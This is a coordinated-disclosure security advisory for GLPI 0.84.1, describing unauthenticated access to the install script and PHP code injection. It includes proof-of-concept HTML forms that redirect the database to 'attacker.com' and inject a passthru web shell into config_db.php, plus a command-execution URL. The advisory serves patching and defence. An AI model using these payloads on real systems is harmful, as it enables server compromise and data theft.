Remote Code Execution in GLPI

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxxx>]

Advisory ID: HTB23173
Product: GLPI
Vendor: INDEPNET
Vulnerable Version(s): 0.84.1 and probably prior
Tested Version: 0.84.1
Advisory Publication:  September 11, 2013  [without technical details]
Vendor Notification: September 11, 2013 
Vendor Patch: September 12, 2013 
Public Disclosure: October 2, 2013 
Vulnerability Type: Improper Access Control [CWE-284],Code Injection [CWE-94]
CVE Reference: CVE-2013-5696
Risk Level: Critical 
CVSSv2 Base Scores: 6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P), 10 
(AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in 
GLPI, which can be exploited to bypass security restrictions and execute 
arbitrary PHP code with privileges of web server.


1) Improper Access Control in GLPI

The vulnerability exists due to insufficient access restrictions to the 
installation script "/install/install.php", which is present by default after 
application installation. A remote attacker can change application’s 
configuration, such as database host, forcing the application to connect to an 
external database and spoof information on the website, obtain access to 
sensitive information or simply cause a denial of service.

Simple exploit below changes the database hostname to "attacker.com", which 
forces the application to connect to a malicious database controlled by the 
attacker:


<form action="http://[host]/install/install.php"; method="post" name="main">
<input type="hidden" name="install"  value="update_1">
<input type="hidden" name="db_host"  value="attacker.com">
<input type="submit" id="btn">
</form>



2) Arbitrary PHP Code Injection in GLPI

The vulnerability exists due to insufficient validation of user-supplied input 
passed to the "db_host", "db_user", "db_pass", and "databasename" HTTP POST 
parameters via "/install/install.php" script [that is present by default after 
application installation] before writing data into "/config_db.php" file. A 
remote attacker can inject and execute arbitrary PHP code on the vulnerable 
system. 

Simple exploit below injects "passthru($_GET['cmd'])" PHP code into 
"config_db.php" file  allowing a remote attacker to execute arbitrary system 
command with privileges of the web server: 


<form action="http://[host]/install/install.php"; method="post" name="main">
<input type="hidden" name="install"  value="update_1">
<input type="hidden" name="db_host"  value="'; } passthru($_GET['cmd']); /*">
<input type="submit" id="btn">
</form>


After that attacker can access the web shell to execute system commands via the 
following URL:
http://[host]/index.php?cmd=ls -la; id; pwd;


-----------------------------------------------------------------------------------------------

Solution:

Update to GLPI 0.84.2

More Information:
http://www.glpi-project.org/spip.php?page=annonce&id_breve=307&lang=fr
https://forge.indepnet.net/issues/4480

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23173 - 
https://www.htbridge.com/advisory/HTB23173 - Multiple Vulnerabilities in GLPI.
[2] GLPI - http://www.glpi-project.org - GLPI is the Information 
Resource-Manager with an additional Administration-Interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's 
proprietary web application security assessment solution with SaaS delivery 
model that combines manual and automated vulnerability testing.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.